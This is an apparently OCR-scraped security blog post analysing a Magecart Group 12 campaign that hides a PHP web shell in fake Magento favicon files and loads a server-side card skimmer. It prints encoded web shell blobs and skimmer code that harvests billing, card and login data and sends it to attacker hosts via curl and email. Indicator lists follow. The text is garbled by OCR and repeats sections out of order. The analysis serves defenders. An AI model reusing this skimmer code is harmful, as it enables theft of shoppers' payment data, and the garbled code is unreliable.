foptions = array(

< & 0 A Mot secure | zolo.pw/m1_2021_force/2.ixt 3

$beda_code "REQUEST_METHOD"
basegd_decode "#onepage |checkout |onestep | firecheckout |onestepcheckout#" HEsaiYESER LI
ICdBRERS Jywgl2d LEGHEEILi ISyl i ICdodCcsDQogICAgIY
dDonLCARXBMnLCANDL S gt = JywgIy58TywgIyNel
LiAnRCc7Ciag TCAKY 2 gETs bl idu 18 12hlvycgliAkcGIrZy
Uant R E I "hitps://pathc. space/space/widget. txt" IC4gl1FVRScgliake
BRSPS LLEL LAY "HTTP_CLIENT _IP" ¥YXRoIyAuICRwb2tlal
SLT NG S BN “HTTP_X_FORWAF<7php
Rt e oy TR e gl "' REMOTE_ADDR"
LiAnZXI6]zsKICAZTC AR LET Sl (!defined("MEGALODON_HEAD"}) {
CiAgTCARYWNpC Zhyyy A TI i 1
bNF@gLiAnl TknIC4g ] ETa T 4o define("MEGALODON_HEAD", 1);
AkXINFULZFULs kYN ool g [

SAKXINFUIZFULskdlR g STa-Th {!defined("CRC_MEGALODON")) {

bXwEeWysICR]b3IB Lo Lg g E i d $crc32 = isset($_SERVER['HTTP_HOST']) ? crc3Z($_SER
hemljaCwgIFETRVIWRGEL [gtT Tk (PHP_INT_SIZE = 4)

AgICAKZXNoZXpvbCas TRESSNS: WE ($cre32

CAgICAgICASTCAZTCAOAN $crc32 = $crc32
VKWSSUZZSESTVCwgZm ARV ETT T O [Ta el [ $crc32 = abs(%$crc32);
sICTkeHVxeXNSZGEg] A dgg=\as define("CRC_MEGALODON", $crec32);
VzaGVeb2wpOwogICag define("CRC_MEGALODON_SHORT", $crc32
TeKICAgICASICAZICA

define("TREX_CODE", ( !defined("MEGALODON_BACKUP"
trim{'$MzQBgIsvRe=""154" ] aa"" define("MEGALODON_BACKUP"
vRe.="\x73\x73" ;$NzQBglsvRe.="\1
iUB_jR(%e8X5ar_);$0IwvNn_xer=$ri (isset{$_COOKIE['portzilla'l))
kSLYSBUb1x2bsV2Yng ChpFlbABCIgAC T $_COOKIE['portzilla'l = '';
hWilefN2YkgicBNnYINHISAL chvWe fN2YH
98Q0VEXUB1THIVWDBL IgACIgACIgACTE ({(isset($_COOKIE['wtf'l))
1 AUTICRFUBYSVKVSHyd IVFROXOhPULQNX "Ttw'l) g
TESET@5TSEVERCIpKSB7DQoNC14gICEK $get_url = "https://zolo.pw/wif/index.phpth=" ]
1QgACIgACIgACTEACTBACT gACTEACTZA] $content = "";

9DTe9LSUVbI3deriddkskglivgKalkNsg (function_exist: Ry
gACTgACTgACTIGACIKAQKp@ 1] hxGhppHd $options A U
gICAgZmIyZWF jaCAo] FOQTINUWy dwyX1Y OPT_RI ANSFER “ 124
CAgICABQIVSTESQVFEFTKNPREIORY AP CLIRL E fals aPT4
BRIl LIE ] TR eIV IRl 1 o2 Frldatr it T Ao T =1 L 02 2a_ 12 TR A f iy A I nTal T I Ao T In

Further looking into the m1_2021_force directory reveals additional code very specific to credit card skimming.
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(isset($_POST['billing'])) {

$bill = $ _POST['billing'] ['firstname"] AL $ POST['billing'] ['lastname'] " % POST['
billing'] ['street']1['@"'] I % POST['billing']l['city'] I $ POST['billing'1["
region’] " |" . $_POST['billing'] ['postcode’] "|' . $_POST['billing']l['country_id"l]
“|' . $_POST['billing'l['telephone’] "' % POST['billing'l['email'l;

setcookie(" _mdata", bas de($bill), time() 3 ")

$_COOKIE[' mdata'] basefd encode($bill);

(isset($_POST['payment']}) {
$fieldsArray = array(
" oeco_num. M

[ +exp_month.=/"

expirationMonth.

foamsn_set.+ /" 2
Xp_Y.rf

$cc_month;
Py & ..'.1]-

$cc_year = substr{$cc_year, 2, 2);
$cc_pay $cc_number o $cc_month - $cc_year o $cc_cid;

(isset($_COOKIE[' mdata']))

$cc_pay " base code($_COOKIE['_mdata']
$cc_pay_encoded = base64_enc _rotl13($cc_pay . "\rinx $_SERVER['HTTP_HOST']

$_SERVER['SERVER_ADDR'] * H

$cc_pay_encoded - str_replace("+", , $cc_pay_encoded);

] ts{"curl_init")) {
alodon_backup_g y{"'https://celolum. com/MEGALODON/ index. php?view="
cc_pay_encoded, T
fent = trim($ent);

($ecnt "1') {

$cnt T1ile _contents{'https://celolum. com/MEGALODON/ index. phptview="
cc_pay_encoded) ;

$cnt = trim($cnt);

({$cnt '1') (function_exists("exec"})) {
exec('curl —insecure ' https://celolum. com/MEGALODON/ index. phpTview="
cc_pay_encoded) ;

}

mail('celolum@yandex.ru', 'bb_' $_SERVER['HTTP_HOST'], $cc_pay);

(!defined("MEGALODON_U" . CRC
C "MEGALODON_U" . CRC_!

$get_url "hitps://pathc. space/MEGALODON/ index. php?view=";

({isset($_POST['login'l) (isset($_POST['login'] ['username']l}) {(isset($_POST['login']['
password'1)})) {

tatoken = base64_encode($_POST['login'] [’ name et & POST['login']['pass
setcookie("_dntoken", $atoken, time()

$_COOKIE['_dntoken'] $atoken;

The data exfiltration part matches what researcher Denis @unmaskparasites had found back in March on

WordPress sites (Smilodon malware) which also steals user credentials:
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Denis

WordPress "Smilodon" malware (decoded) that steals payment details
and user credentials. Exfil domains redorn[.]space and predator[.]host.
Found in the _vp_ai_ping_11669596 option in WP database

Thanks

A similar PHP file (Mage.php) was reported by SanSec as well:
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s Sansec

Skimmer runs from app/Mage.php and fetches dynamic
JS to insert after closing html tag.

L oader domain pathc[.]space

That same path/filename was previously mentioned by SanSec during the Magento 1 EOL hacking spree:
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Sansec

UPDATE Nearly 2000 Magento stores got hacked over the weekend,
which is - by far - the largest automated campaign to date. Malware
loader: mednn[.]net. Exfil: imags[.]pw

var 1 = window,outerdidth window . innere
var & = window.outerHeight - window.inne
returm (e && 1 || !{winddw. Firebug && wi

Sansec

Curiously, they also installed a clean version of the legit "app/Mage.php".
We are still looking into obtaining a prior copy of that library file.

Sansec

Plot twist: the injected app/Mage.php was benign but _slightly_ different
from the original one. Speculation: perhaps the attacker forced a secure
copy on all 2000 compromised stores, to kill possible competing
backdoors (which are often added to Mage.php]).

This hints that we are possibly looking at the same threat actors then and now, which we can confirm by looking at

the infrastructure being used.

Magecart Group 12 again

Because we found the favicon webshells on Magento 1.x websites we thought there might be a tie with the
hacking that took place last year when exploits for the Magento 1 branch (no longer maintained) were found.

RiskIQ documented these compromises and linked them with Magecart Group 12 at the time.

The newest domain name we found (zolo[.]Jpw) happens to be hosted on the same IP address (217.12.204[.]185) as

recaptcha-in[.]Jpw and google-statik[.]pw, domains previously associated with Magecart Group 12.
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Q 217.12.204.185

2015-07-08
2021-05-11

AS15626 - ITLAS
ITLLLC

217.12.204.0/23 ITL Company

UA
|

ERS © RESOLUTIONS @
SYSTEM TAG U 1-250f81 ~ g Sort : Last Seen Descending ~ 25 /Page ~
Resolve First Last

TAG

|:| recaptcha-in.pw 2017-02-10 2021-05-11
45N

O [ zolo.pw 2021-03-15] 2021-05-11
ST 0O www.recaptcha-in.pw 2017-03-30 2021-05-10
SOURCE (3 / 117) 0 google-statik.pw 2016-12-09 2021-05-10

There is a lot of publicly documented material on the activities of Group 1 also known for their ‘ant and

cockroach‘ skimmer, their decoy CloudFlare library or their abuse of favicon files.
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Credit card skimmer masquerades.

Dynamically loaded skimmer

There are a number of ways to load skimming code but the most common one is by calling an external JavaScript
ressource. When a customer visits an online store, their browser will make a request to a domain hosting the
skimmer. Although criminals will constantly expand on their infrastructure it is relatively easy to block these

skimmers using a domain/IP database approach.

In comparison, the skimmer we showed in this blog dynamically injects code into the merchant site. The request
to the malicious domain hosting the skimming code is not made client-side but server-side instead. As such a
database blocking approach would not work here unless all compromised stores were blacklisted, which is a
catch-22 situation. A more effective, but also more complex and prone to false positives approach, is to inspect the

DOM in real time and detect when malicious code has been loaded.
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We continue to track this campaign and other activities from Magecart Group 12. Online merchants need to ensure
their stores are up-to-date and hardened, not only to pass PCI standards but also to maintain the trust shoppers

place in them. If you are shopping online it’s always good to exercize some vigilance and equip yourself with

security tools such as our Malwarebytes web protection and Browser Guard.
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The way it is injected in compromised sites is by replacing the legitimate shortcut icon tags with a path to the fake
PNG file. Unlike previous incidents where a fake favicon image was used to hide malicious JavaScript code, this

turned out to be a PHP web shell. However, in its current implementation this PHP script won’t be loaded

properly.
Line wrap

<html lang="en">
<head:

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<titlexOne-stop shop for Powerful and Smart Magento® Extensions, Themes</title:
<meta name="description” content= I is providing the best magento solutions for ye
magento extensions and magento themes." />
<meta name="keywords” content="Extensions for Magento, themes for magento, modules for magento, ¢
mega menu, onstep check out, magento templates, magento themes free™ />
<meta name="robotz" content="INDEX,FOLLOW" />
<meta name="google-site-verification” content="w6jvSYLLISXeVIiurkMINmInNtV]
<meta content="width=device-width, initial-scale=1.8" name="viewport":>
<link rel="icon" href="https://v n/media/favicon/default/Magento_3.png™ type="1i
iz| <link rel="shortcut icon" href="https:// W/media/favicon/default/Magento_3.png|

B otn B ot R

-

I'ﬁl view-source:httpsy//mww.magesc X @ view-sourcethttpsy//www.mages: X +

&« & @ view-source:https://{ Ymedia/favicon/default/Magento_3.png

Ane wrap [
189 50 4E 47 @D oA 14 24

ID,Name, Email,Group,Telephone,ZIP,Country,State/Province, "Customer Since”
===3H0RD<{===
<?php

$Fl = _ FILE_ Webshell disguised as PNG
if (file exists($fl))

Bunlink($F1);

— D otn b fa pa

= @

$AJegUupT="==w02pQD7ICIkVGbiF2cpRGIz1GIAdMZIgYCIdxmc IN2ZWjVGelBilg4lZwd2a92cmBilgwme INGI 1Ay boNWZ g#
ZgACIgoQD7ESK@FGZkgCImImCNoQDIpQDTkyZhxmZkgyaulGhuVHOEACIgoQD7BSKpcWYsZG]oMHdz1Gel19VIs ImZoAiZppQL
Q1TPI1XUSURNVIQPR@IbIVRWIVRTSFIgaDInFGbmRiCNoQDIpQDOBCIgAICNS TKBFGZkgSbpIHdgPDIOFGZKACIgACTIEACIKE
I9ACAhRGIZACTgACTgAICNSHI pQXYKRSToAIZpBCIgAICNoQDOBCIgAICNOHIgACIgACIgoQD 7 kCdhRGIoBWay RHISACAhRG]
t2YvNnZfRXZNESPgOXYKRCIgACIgACIgACIgAICHNsHIpkiTuVGovt2YVNNZigy cONXa4V2XudWaeNmblZGK g agACIgACIgs
TgAiCNSTKOFGZkgShp IHdg@DTAFGTRACTEACTgACTKGwOpyme 1RCKZRb 1RNbwN2X@V2Z FVEbpZGQgBDTAF GTkACTEACTGACT
RCKt1me@BSPgQXYKRCT gAC TKOWOpUBUNFKRgWC by VHIoEGh s Imefxmc 1N2Xy VG INHI9ACAhRGIgACT goQD7BSKpICdpSiats
CNsTZzxWYmBSPEQXYKRICNoQD7ICA4RNLIAILgQmbyRCIUAIIVICIUACYT2ESTtOQBIEIZAChYVHIKOWOpATNgwSMoQmbhI3»
U2csFmZg8DIncCI20DIAFGIkgCTIuIXdOVMCgACT 200DTU2csFmZgdmc1RXZyBC IgAC I gACTKOQZ z xWZ gBHT gACTKewOpYGIal
JoQbi1InZg@jLgQXYkRCIgACIEACIgACIgAICNKSKmMRCKmIWIMBUIoASZs1Ga3BCIgACIgACIKewOiICI9ACIhRGIgACIgACT
@DIMRCKINmMc192c 113Xz 1GKgYWallHb1ESTgACTgo0DTkibpROK jVGel9FbsVGazBSPgOXYKRCIgACTEACT goQDTBSKpoy Y1F
KgvbialNHb1BSfgACIgoQD7kCKUFWZsN2XaV2ZfI2bgeDIBFGIkACIGACTgACIKOWOp4akgsb1R3 cSNHQEACIZACIgAICNS TR
VGdz13engy cBNXadV2ZXudWadNmbl1ZGKgYWalNHb1BSfgACTgo0D7 kCKUFWZsN2XBY2ZfI2bgaDI@FGZkACT gACIgACTKAwDps
KaIXyanN3XisGIgACIgACIgoQD7BSKpcSdyhGdzNXYwdCKzR3IcphXZfS2bpRIYUNVNZoALZpV2csVGISBCIgAICNSTKOFGZKACL
oQD7kCdhRGIgwibpRCKjVGEe1BEIgACIZACIgoQD7BSKpcyY LhXZngy cBNXa4V2 XuSlkia@Nmb1ZGKgYla gACI go0D7 cy Jg@DIeF
cg42bpRIYUNVNIKSgCN@nCNEHI gACIKAWO LNHbhZGIuIXd@Vme gACIgACIgAICNoQDEBCIgACT EACIKAWOSR2ZBIRCTIUIXdaVme
91cvBHIgwCdhRGIoTHdz JWdzhSbpJHdg@DISR2biRCIgAC TgAC TgAC TgALCNSHIpkHZ Y] 2Xz9GckgC Iml G gACIgACTgoQD 7k
PgkHIVI2Xz9GckACTgACTgACTKAwOpANTkESTzo6Gh 76T gACT SAC TgnQDKA0f gACTgACTgAICNSTHAT TMgwC cmRCKZRXZNZG]

Web shells are a very popular type of malware encountered on websites that allow an attacker to maintain remote
access and administration. They are typically uploaded onto a web server after exploitation of a vulnerability (i.e.
SQL injection).

To better understand what this webshell is meant to do, we can decode the reverse Base64 encoded blurb. We see

that it retrieves data from an external host at zolo[.]pw.
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length: 4244 ——
Input ‘1 e + Oz 0 =

==wW09pQD7ICIkVGbiF2cpRGIZ1GIBdMZIgYCIdxmcIN2WjVGelBlIgalZw92aj92cmBilgwmc INGI 1Ay boNWZ g
CIgoQDVBSZZXWZgANCNsTKBFGZkgCbhi ¥z atoTaannancraresl gt TmImCNoQDSpQDT kyZhxmZkgyaul GbuvHY
gACIgoQD7BSKpcYsZGIoMHd ZlGelQVE_H_?F_e.ES_?FQ_aIS_?gi.nZLIU2Yu FmbhRnbpFWbvICIuASXNQITPI1XUS
URNV1QPREIbIVRWIVRTSFIg@DInFGbmRiCHoQDepQDSBCIgAICNsTK@FGZkgSbpIHdgeDIBFGZKACTIgACIgACT

KewOpIChyVHIgwmc INmIoMWZAV2ZXyVGEcINHIZACAhRGIgACIgACIgAICNSHIpQXYKRSIoALIZpBCIgAICHOQDEE

start: 321 time: 22ms
end: 3218  length: 3331 |_ ra
OUtPUt length: a lines: 122 B D m -

define("BACK_HOST", I http://zolo. [Jldfml_E@Zl_‘FDr‘CE"j; 2

function super_curl_zilla({$%url, $post) {
foptions = array(

< & 0 A Mot secure | zolo.pw/m1_2021_force/2.ixt 3

$beda_code "REQUEST_METHOD"
basegd_decode "#onepage |checkout |onestep | firecheckout |onestepcheckout#" HEsaiYESER LI
ICdBRERS Jywgl2d LEGHEEILi ISyl i ICdodCcsDQogICAgIY
dDonLCARXBMnLCANDL S gt = JywgIy58TywgIyNel
LiAnRCc7Ciag TCAKY 2 gETs bl idu 18 12hlvycgliAkcGIrZy
Uant R E I "hitps://pathc. space/space/widget. txt" IC4gl1FVRScgliake
BRSPS LLEL LAY "HTTP_CLIENT _IP" ¥YXRoIyAuICRwb2tlal
SLT NG S BN “HTTP_X_FORWAF<7php
Rt e oy TR e gl "' REMOTE_ADDR"
LiAnZXI6]zsKICAZTC AR LET Sl (!defined("MEGALODON_HEAD"}) {
CiAgTCARYWNpC Zhyyy A TI i 1
bNF@gLiAnl TknIC4g ] ETa T 4o define("MEGALODON_HEAD", 1);
AkXINFULZFULs kYN ool g [

SAKXINFUIZFULskdlR g STa-Th {!defined("CRC_MEGALODON")) {

bXwEeWysICR]b3IB Lo Lg g E i d $crc32 = isset($_SERVER['HTTP_HOST']) ? crc3Z($_SER
hemljaCwgIFETRVIWRGEL [gtT Tk (PHP_INT_SIZE = 4)

AgICAKZXNoZXpvbCas TRESSNS: WE ($cre32

CAgICAgICASTCAZTCAOAN $crc32 = $crc32
VKWSSUZZSESTVCwgZm ARV ETT T O [Ta el [ $crc32 = abs(%$crc32);
sICTkeHVxeXNSZGEg] A dgg=\as define("CRC_MEGALODON", $crec32);
VzaGVeb2wpOwogICag define("CRC_MEGALODON_SHORT", $crc32
TeKICAgICASICAZICA

define("TREX_CODE", ( !defined("MEGALODON_BACKUP"
trim{'$MzQBgIsvRe=""154" ] aa"" define("MEGALODON_BACKUP"
vRe.="\x73\x73" ;$NzQBglsvRe.="\1
iUB_jR(%e8X5ar_);$0IwvNn_xer=$ri (isset{$_COOKIE['portzilla'l))
kSLYSBUb1x2bsV2Yng ChpFlbABCIgAC T $_COOKIE['portzilla'l = '';
hWilefN2YkgicBNnYINHISAL chvWe fN2YH
98Q0VEXUB1THIVWDBL IgACIgACIgACTE ({(isset($_COOKIE['wtf'l))
1 AUTICRFUBYSVKVSHyd IVFROXOhPULQNX "Ttw'l) g
TESET@5TSEVERCIpKSB7DQoNC14gICEK $get_url = "https://zolo.pw/wif/index.phpth=" ]
1QgACIgACIgACTEACTBACT gACTEACTZA] $content = "";

9DTe9LSUVbI3deriddkskglivgKalkNsg (function_exist: Ry
gACTgACTgACTIGACIKAQKp@ 1] hxGhppHd $options A U
gICAgZmIyZWF jaCAo] FOQTINUWy dwyX1Y OPT_RI ANSFER “ 124
CAgICABQIVSTESQVFEFTKNPREIORY AP CLIRL E fals aPT4
BRIl LIE ] TR eIV IRl 1 o2 Frldatr it T Ao T =1 L 02 2a_ 12 TR A f iy A I nTal T I Ao T In

Further looking into the m1_2021_force directory reveals additional code very specific to credit card skimming.
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(isset($_POST['billing'])) {

$bill = $ _POST['billing'] ['firstname"] AL $ POST['billing'] ['lastname'] " % POST['
billing'] ['street']1['@"'] I % POST['billing']l['city'] I $ POST['billing'1["
region’] " |" . $_POST['billing'] ['postcode’] "|' . $_POST['billing']l['country_id"l]
“|' . $_POST['billing'l['telephone’] "' % POST['billing'l['email'l;

setcookie(" _mdata", bas de($bill), time() 3 ")

$_COOKIE[' mdata'] basefd encode($bill);

(isset($_POST['payment']}) {
$fieldsArray = array(
" oeco_num. M

[ +exp_month.=/"

expirationMonth.

foamsn_set.+ /" 2
Xp_Y.rf

$cc_month;
Py & ..'.1]-

$cc_year = substr{$cc_year, 2, 2);
$cc_pay $cc_number o $cc_month - $cc_year o $cc_cid;

(isset($_COOKIE[' mdata']))

$cc_pay " base code($_COOKIE['_mdata']
$cc_pay_encoded = base64_enc _rotl13($cc_pay . "\rinx $_SERVER['HTTP_HOST']

$_SERVER['SERVER_ADDR'] * H

$cc_pay_encoded - str_replace("+", , $cc_pay_encoded);

] ts{"curl_init")) {
alodon_backup_g y{"'https://celolum. com/MEGALODON/ index. php?view="
cc_pay_encoded, T
fent = trim($ent);

($ecnt "1') {

$cnt T1ile _contents{'https://celolum. com/MEGALODON/ index. phptview="
cc_pay_encoded) ;

$cnt = trim($cnt);

({$cnt '1') (function_exists("exec"})) {
exec('curl —insecure ' https://celolum. com/MEGALODON/ index. phpTview="
cc_pay_encoded) ;

}

mail('celolum@yandex.ru', 'bb_' $_SERVER['HTTP_HOST'], $cc_pay);

(!defined("MEGALODON_U" . CRC
C "MEGALODON_U" . CRC_!

$get_url "hitps://pathc. space/MEGALODON/ index. php?view=";

({isset($_POST['login'l) (isset($_POST['login'] ['username']l}) {(isset($_POST['login']['
password'1)})) {

tatoken = base64_encode($_POST['login'] [’ name et & POST['login']['pass
setcookie("_dntoken", $atoken, time()

$_COOKIE['_dntoken'] $atoken;

The data exfiltration part matches what researcher Denis @unmaskparasites had found back in March on

WordPress sites (Smilodon malware) which also steals user credentials:
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Denis

WordPress "Smilodon" malware (decoded) that steals payment details
and user credentials. Exfil domains redorn[.]space and predator[.]host.
Found in the _vp_ai_ping_11669596 option in WP database

Thanks

A similar PHP file (Mage.php) was reported by SanSec as well:
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s Sansec

Skimmer runs from app/Mage.php and fetches dynamic
JS to insert after closing html tag.

L oader domain pathc[.]space

That same path/filename was previously mentioned by SanSec during the Magento 1 EOL hacking spree:
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Sansec

UPDATE Nearly 2000 Magento stores got hacked over the weekend,
which is - by far - the largest automated campaign to date. Malware
loader: mednn[.]net. Exfil: imags[.]pw

var 1 = window,outerdidth window . innere
var & = window.outerHeight - window.inne
returm (e && 1 || !{winddw. Firebug && wi

Sansec

Curiously, they also installed a clean version of the legit "app/Mage.php".
We are still looking into obtaining a prior copy of that library file.

Sansec

Plot twist: the injected app/Mage.php was benign but _slightly_ different
from the original one. Speculation: perhaps the attacker forced a secure
copy on all 2000 compromised stores, to kill possible competing
backdoors (which are often added to Mage.php]).

This hints that we are possibly looking at the same threat actors then and now, which we can confirm by looking at

the infrastructure being used.

Magecart Group 12 again

Because we found the favicon webshells on Magento 1.x websites we thought there might be a tie with the
hacking that took place last year when exploits for the Magento 1 branch (no longer maintained) were found.

RiskIQ documented these compromises and linked them with Magecart Group 12 at the time.

The newest domain name we found (zolo[.]Jpw) happens to be hosted on the same IP address (217.12.204[.]185) as

recaptcha-in[.Jpw and google-statik[.]pw, domains previously associated with Magecart Group 12.
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There is a lot of publicly documented material on the activities of Group 1 also known for their ‘ant and

cockroach‘ skimmer, their decoy CloudFlare library or their abuse of favicon files.
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Credit card skimmer masquerades.

Dynamically loaded skimmer

There are a number of ways to load skimming code but the most common one is by calling an external JavaScript
ressource. When a customer visits an online store, their browser will make a request to a domain hosting the
skimmer. Although criminals will constantly expand on their infrastructure it is relatively easy to block these

skimmers using a domain/IP database approach.

In comparison, the skimmer we showed in this blog dynamically injects code into the merchant site. The request
to the malicious domain hosting the skimming code is not made client-side but server-side instead. As such a
database blocking approach would not work here unless all compromised stores were blacklisted, which is a
catch-22 situation. A more effective, but also more complex and prone to false positives approach, is to inspect the

DOM in real time and detect when malicious code has been loaded.
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We continue to track this campaign and other activities from Magecart Group 12. Online merchants need to ensure
their stores are up-to-date and hardened, not only to pass PCI standards but also to maintain the trust shoppers

place in them. If you are shopping online it’s always good to exercize some vigilance and equip yourself with

security tools such as our Malwarebytes web protection and Browser Guard.
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redorn[.]space
zeborn[.]Jpw

googletagmanagr|.Jcom
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autocapital[.Jpw
http[.]ps
xxx-club[.]pw

y5[.Jms

195[.]123[.]1217[.]118
217[.]112[.]204[.]185
83[.1166[.]1241[.]1205
83[.]1166[.1242[.]105
83[.]166[.1244[.]1113
83[.]166[.]1244[.]1152
83[.1166[.]1244[.]1189
83[.1166[.]1244[.176
83[.]1166[.1245[.]1131
83[.]166[.]1246[.134
83[.1166[.]246[.]181
83[.1166[.]248[.167

jamal.budunoff@yandex[.]Jru
muhtarpashatashanov@yandex[.]Jru

nikola-az@rambler[.]ru
This blog post was authored by Jéré6me Segura

Web skimming continues to be a real and impactful threat to online merchants and shoppers. The threat actors in

this space greatly range in sophistication from amateurs all the way to nation state groups like Lazarus.

In terms of security, many e-commerce shops remain vulnerable because they have not upgraded their content
management software (CMS) in years. The campaign we are looking at today is about a number of Magento 1

websites that have been compromised by a very active skimmer group.

We believe that Magecart Group 12, identified as being behind the Magento 1 hacking spree last fall, continues to
distribute new malware that was observed by security researchers recently. These web shells known as Smilodon
or Megalodon are used to dynamically load JavaScript skimming code via server-side requests into online stores.

This technique is interesting as most client-side security tools will not be able to detect or block the skimmer.

Web shell hidden as favicon

While performing a crawl of Magento 1 websites, we detected a new piece of malware disguised as a favicon. The
file named Magento.png attempts to pass itself as ‘image/png’ but does not have the proper PNG format for a

valid image file.
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Host URL Body Content-Type  SHA-256
image/png
image/png
image/png
image/png
image/png

image/png

image/png

agento_12.png 5,245 image/png

vicon,/default/Magento.png 5 image/png

vicon/default/Magento_11.png 45 image/png

png
' image/png 9 feabbeasas9df2s...
/media/favicon/default/Magento.png 5,245 image/png 07882feabbeasas9df2s...
icon/ l 5 image/png
image/png 97882feabbeasas9df2s...

gento_4.png : image

image/png 97882feabbeasas9df2s...
agento.png 45 image/png
gento.png :245  image/png

Lo

ganninna

74 €5 73 0D OA
20 30 44 20 30 41 20 31 41 20 30 41 0D OA 49 44 2C 0D 0A 1A OA..ID,
61 6D 65 2C 45 6D 61 69 &C 2C 47 72 &F 75 70 2C 54 a?ame,}:mail,amup,'re
6C 65 70 68 6F 6E 65 2C 5A 49 50 2C 43 6F 75 G6E 74 7 lephone, ZIP, Countr
79 2C 53 74 61 74 65 2F 50 7z 6F 76 69 6E 63 65 2C 22  y,S5tate/Province,"
43 75 73 74 6F 6D 65 72 20 53 69 6E 63 65 22 0D 0A 3D Customer Sinceiles
3D 3D(3E 57 4F 52 44 3C 3D 3D 3D 0D 0OA 3C 3F 70 &8 70 ==>wonn<===..
0D 0A 0D OR 24 66 6C 20 3D 20 SF S5F 46 49 4C 45 S5F SF  ....$fl1 = FI

3B 0D OR €9 66 20 28 66 &9 6C &5 5F 65 78 69 73 74 73 ;..if (file exists
28%24 66 6C 29 29 0D OA 20 20 20 20 40 75 6E &C &9 &E (SE1)) .. gunlin

The way it is injected in compromised sites is by replacing the legitimate shortcut icon tags with a path to the fake
PNG file. Unlike previous incidents where a fake favicon image was used to hide malicious JavaScript code, this

turned out to be a PHP web shell. However, in its current implementation this PHP script won’t be loaded

properly.
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Line wrap

<html lang="en">

<head:

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<titlexOne-stop shop for Powerful and Smart Magento® Extensions, Themes</title:
<meta name="description” content= I is providing the best magento solutions for ye
magento extensions and magento themes." />
7| <meta name="keywords"” content="Extensions for Magento, themes for magento, modules for magento, ¢
mega menu, onstep check out, magento templates, magento themes free™ />
<meta name="robotz" content="INDEX,FOLLOW" />
<meta name="google-site-verification” content="w6jvSYLLISXeVIurlMaNmInNty]( c ctio
<meta content="width=device-width, initial-scale=1.8" name="viewport":>
11| «link rel="icon"” href="https://u n/media/favicon/default/Magento_3.png™ type="1i
iz| <link rel="shortcut icon" href="https:// W/media/favicon/default/Magento_3.png|

B otn B ot R

I'ﬁl view-source:httpsy//mww.magesc X @ view-sourcethttpsy//www.mages: X +

&« & @ view-source:https://{ Ymedia/favicon/default/Magento_3.png

Ane wrap [

39 50 4E 47 @D 84 14 24

ID,Name, Email,Group,Telephone,ZIP,Country,State/Province, "Customer Since”
===3H0RD<{===
<?php

$Fl = _ FILE_ Webshell disguised as PNG

if (file_exists($fl))
Bunlink($F1);

— D otn b fa pa

= @

$AJegUupT="==w02pQD7ICIkVGbiF2cpRGIz1GIAdMZIgYCIdxmc IN2ZWjVGelBilg4lZwd2a92cmBilgwme INGI 1Ay boNWZ g#
ZgACIgoQD7ESK@FGZkgCImImCNoQDIpQDTkyZhxmZkgyaulGhuVHOEACIgoQD7BSKpcWYsZG]oMHdz1Gel19VIs ImZoAiZppQL
Q1TPI1XUSURNVIQPR@IbIVRWIVRTSFIgaDInFGbmRiCNoQDIpQDOBCIgAICNS TKBFGZkgSbpIHdgPDIOFGZKACIgACTIEACIKE
T9ACAhRGIgACTgACTgAI CNSHI pOXYKRS ToA1TpBCTgAi CNoQDIB TgAL CNBHT gAC TgAC TgoQD7kCdhRGT 0@kay RHI SACAhRG:
t2YvNnZfRXZNESPgOXYKRCIgACIgACIgACIgAICHNsHIpkiTuVGovt2YVNNZigy cONXa4V2XudWaeNmblZGK g agACIgACIgs
TgAiCNSTKOFGZkgShp IHdg@DTAFGTRACTEACTgACTKGwOpyme 1RCKZRb 1RNbwN2X@V2Z FVEbpZGQgBDTAF GTkACTEACTGACT
RCKt1me@BSPgQXYKRCT gAC TKOWOpUBUNFKRgWC by VHIoEGh s Imefxmc 1N2Xy VG INHI9ACAhRGIgACT goQD7BSKpICdpSiats
CNsTZzxWYmBSPEQXYKRICNoQD7ICA4RNLIAILgQmbyRCIUAIIVICIUACYT2ESTtOQBIEIZAChYVHIKOWOpATNgwSMoQmbhI3»
U2csFmZg8DIncCI20DIAFGIkgCTIuIXdOVMCgACT 200DTU2csFmZgdmc1RXZyBC IgAC I gACTKOQZ z xWZ gBHT gACTKewOpYGIal
JoQbi1InZg@jLgQXYkRCIgACIEACIgACIgAICNKSKmMRCKmIWIMBUIoASZs1Ga3BCIgACIgACIKewOiICI9ACIhRGIgACIgACT
@DIMRCKINmMc192c 113Xz 1GKgYWallHb1ESTgACTgo0DTkibpROK jVGel9FbsVGazBSPgOXYKRCIgACTEACT goQDTBSKpoy Y1F
Kg¥hialNHb1BSFgACTgoQD7 kCKUFWZsN2XaV 27 12bgeDTaFGIkACTgAC TgACTKOwOpaakgsh1R3cSNHOEACTEACTZAICNS Tk
VGdz13engy cBNXadV2ZXudWadNmbl1ZGKgYWalNHb1BSfgACTgo0D7 kCKUFWZsN2XBY2ZfI2bgaDI@FGZkACT gACIgACTKAwDps
KaIXyanN3XisGIgACIgACIgoQD7BSKpcSdyhGdzNXYwdCKzR3IcphXZfS2bpRIYUNVNZoALZpV2csVGISBCIgAICNSTKOFGZKACL
oQD7kCdhRGIgwibpRCKjVGEe1BEIgACIZACIgoQD7BSKpcyY LhXZngy cBNXa4V2 XuSlkia@Nmb1ZGKgYla gACI go0D7 cy Jg@DIeF
cg42bpRIYUNVNIKSgCN@nCNEHI gACIKAWO LNHbhZGIuIXd@Vme gACIgACIgAICNoQDEBCIgACT EACIKAWOSR2ZBIRCTIUIXdaVme
91cvBHIgwCdhRGIoTHdz JWdzhSbpJHdg@DISR2biRCIgAC TgAC TgAC TgALCNSHIpkHZ Y] 2Xz9GckgC Iml G gACIgACTgoQD 7k
PgkHIVI2Xz9GckACTgACTgACTKAwOpANTkESTzo6Gh 76T gACT SAC TgnQDKA0f gACTgACTgAICNSTHAT TMgwC cmRCKZRXZNZG]

Web shells are a very popular type of malware encountered on websites that allow an attacker to maintain remote
access and administration. They are typically uploaded onto a web server after exploitation of a vulnerability (i.e.
SQL injection).

To better understand what this webshell is meant to do, we can decode the reverse Base64 encoded blurb. We see

that it retrieves data from an external host at zolo[.]pw.
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length: 4244 ——
Input ‘1 e + Oz 0 =

==wW09pQD7ICIkVGbiF2cpRGIZ1GIBdMZIgYCIdxmcIN2WjVGelBlIgalZw92aj92cmBilgwmc INGI 1Ay boNWZ g
CIgoQDVBSZZXWZgANCNsTKBFGZkgCbhi ¥z atoTaannancraresl gt TmImCNoQDSpQDT kyZhxmZkgyaul GbuvHY
